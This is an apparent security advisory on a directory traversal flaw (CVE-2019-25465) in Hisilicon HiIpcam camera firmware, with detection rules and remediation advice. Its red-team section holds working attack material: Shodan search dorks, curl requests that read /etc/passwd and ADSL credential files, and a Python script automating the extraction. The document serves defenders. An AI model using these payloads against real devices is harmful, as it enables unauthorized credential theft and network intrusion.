CVE-2019-25465

Executive Summary

CVE-2019-25465 is a critical directory traversal vulnerability affecting Hisilicon HiIpcam V100R003 firmware. The flaw resides in the CGI-BIN directory, allowing unauthenticated remote attackers to traverse directories and access sensitive configuration files. By exploiting the getadslattr.cgi endpoint, an attacker can retrieve ADSL credentials, network configuration parameters, usernames, passwords, and DNS settings. The vulnerability has a CVSS score of 7.5 (High) and is publicly known with proof-of-concept code available. No official patch has been released by Hisilicon, making affected devices permanently vulnerable.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded IoT devices manufactured by Hisilicon. The supply chain risk is high as these devices are often deployed in critical infrastructure and surveillance systems without proper security updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Full disclosure of credentials and network config.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and exposes sensitive credentials that can lead to further network compromise.

Deep Dive & Mechanics

The vulnerability is a classic directory traversal (path traversal) flaw in the CGI-BIN directory of the Hisilicon HiIpcam firmware. The web server fails to properly sanitize user-supplied input when handling requests to CGI scripts. Specifically, the getadslattr.cgi endpoint is designed to retrieve ADSL modem configuration, but it does not validate the path parameters, allowing an attacker to use ../ sequences to escape the intended directory.

Root Cause: The CGI script uses user-controlled parameters to construct file paths without proper validation or sanitization. For example, a request like:

GET /cgi-bin/getadslattr.cgi?file=../../etc/passwd HTTP/1.1

would return the contents of /etc/passwd instead of the intended configuration file.

Attack Flow:

1. Attacker identifies a vulnerable Hisilicon HiIpcam device (e.g., via Shodan).
2. Sends a crafted HTTP GET request to the /cgi-bin/getadslattr.cgi endpoint with a directory traversal payload.
3. The server returns the contents of sensitive files, including ADSL credentials, network configuration, and other system files.
4. Attacker uses the extracted credentials to gain further access to the network or device.

Impact: Full compromise of device credentials, network configuration, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Since no official patch exists, there is no patched code to compare. However, the vulnerable code pattern is typical of CGI scripts that do not sanitize file paths.

Vulnerable Code (Conceptual C):

void handle_getadslattr(char *file_param) {
    char path[256];
    sprintf(path, "/config/%s", file_param); // No sanitization
    FILE *fp = fopen(path, "r");
    if (fp) {
        // Send file contents to client
    }
}

Patched Code (Conceptual C):

void handle_getadslattr(char *file_param) {
    // Reject any path containing ".."
    if (strstr(file_param, "..") != NULL) {
        return_error("Invalid path");
        return;
    }
    // Also ensure path is within allowed directory
    char path[256];
    snprintf(path, sizeof(path), "/config/%s", file_param);
    // Additional check: realpath() to resolve symlinks
    char resolved[256];
    if (realpath(path, resolved) == NULL || strncmp(resolved, "/config/", 8) != 0) {
        return_error("Access denied");
        return;
    }
    FILE *fp = fopen(resolved, "r");
    if (fp) {
        // Send file contents to client
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Hisilicon HiIpcam device (V100R003) or a lab emulator.
• Network access to the device (port 80/443 typically).
• Tools: curl, Burp Suite, or custom Python script.

Exploitation Steps:

1. Identify Target: Use Shodan with dork http.title:"HiIpcam" or http.html:"/cgi-bin/" "Hisilicon".

2. Verify Vulnerability:

   curl -v "http://<target_ip>/cgi-bin/getadslattr.cgi?file=../../etc/passwd"
   

   If successful, the response will contain the contents of /etc/passwd.

3. Extract ADSL Credentials:

   curl "http://<target_ip>/cgi-bin/getadslattr.cgi?file=../../mnt/config/adsl.conf"
   

   This returns ADSL username, password, and DNS settings.

4. Extract Network Configuration:

   curl "http://<target_ip>/cgi-bin/getadslattr.cgi?file=../../mnt/config/network.conf"
   

5. Automated Exploit (Python):

   import requests
   import sys
   
   target = sys.argv[1]
   payloads = [
       "../../etc/passwd",
       "../../mnt/config/adsl.conf",
       "../../mnt/config/network.conf"
   ]
   
   for payload in payloads:
       url = f"http://{target}/cgi-bin/getadslattr.cgi?file={payload}"
       r = requests.get(url)
       print(f"[+] {payload}:\n{r.text}\n")
   

Blue Team (Detection & Response)

Detection:

• Monitor HTTP GET requests to /cgi-bin/getadslattr.cgi with suspicious parameters containing ../ or ..%2f.
• Alert on any access to /cgi-bin/ directory from external IPs.
• Use network intrusion detection systems (NIDS) to detect directory traversal patterns.

Response:

1. Immediately isolate the affected device from the network.
2. Change all credentials exposed (ADSL, admin, etc.).
3. Review logs for any unauthorized access.
4. If possible, apply virtual patching via WAF rules (see Detection Engineering).
5. Consider replacing the device if no firmware update is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /cgi-bin/getadslattr.cgi with file= parameter containing ../ or ..%2f.
• Outbound connections from the device to unknown IPs after exploitation.
• Unusual traffic on port 80/443 from the device.

File IOCs:

• Unauthorized access to /etc/passwd, /mnt/config/adsl.conf, /mnt/config/network.conf.
• Modified configuration files in /mnt/config/.

System IOCs:

• Unexpected processes running on the device.
• New user accounts or modified credentials.

YARA Rule:

rule Hisilicon_Directory_Traversal_CVE_2019_25465 {
    meta:
        description = "Detects directory traversal attempts against Hisilicon HiIpcam"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25465"
    strings:
        $traversal1 = "getadslattr.cgi?file="
        $traversal2 = "../"
        $traversal3 = "..%2f"
        $traversal4 = "..%252f"
    condition:
        any of ($traversal*) and #traversal2 > 1
}

Detection Engineering

YARA Rule

rule CVE_2019_25465_Hisilicon_Traversal {
    meta:
        description = "Detects directory traversal payloads targeting Hisilicon HiIpcam"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25465"
    strings:
        $cgi = "/cgi-bin/getadslattr.cgi"
        $traversal = ".."
        $encoded = "%2e%2e"
        $double_encoded = "%252e%252e"
    condition:
        $cgi and any of ($traversal, $encoded, $double_encoded)
}

Sigma Rule

title: Hisilicon HiIpcam Directory Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting directory traversal on Hisilicon HiIpcam devices
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25465
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cgi-bin/getadslattr.cgi'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
            - '%252e%252e'
    condition: selection
falsepositives:
    - Legitimate use of dots in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25465 Hisilicon HiIpcam Directory Traversal Attempt"; flow:to_server; content:"GET"; http_method; content:"/cgi-bin/getadslattr.cgi"; http_uri; content:".."; http_uri; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Disconnect affected devices from the internet and internal network until patched.
2. Change Credentials: Reset all passwords for ADSL, admin, and any other accounts exposed.
3. WAF Rules: Deploy virtual patching using the Suricata or Sigma rules above.
4. Network Segmentation: Place IoT devices in a separate VLAN with strict access controls.

Long-Term Solutions:

• Firmware Update: Contact Hisilicon for a patch. If unavailable, consider replacing the device.
• Disable CGI-BIN: If possible, disable the CGI-BIN directory or restrict access to it via firewall rules.
• Input Validation: Implement proper input validation and sanitization for all CGI parameters.
• Monitoring: Continuously monitor for directory traversal attempts using the provided detection rules.

Vendor Contact: Hisilicon has not released a patch. Affected organizations should consider migrating to alternative, actively maintained products.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert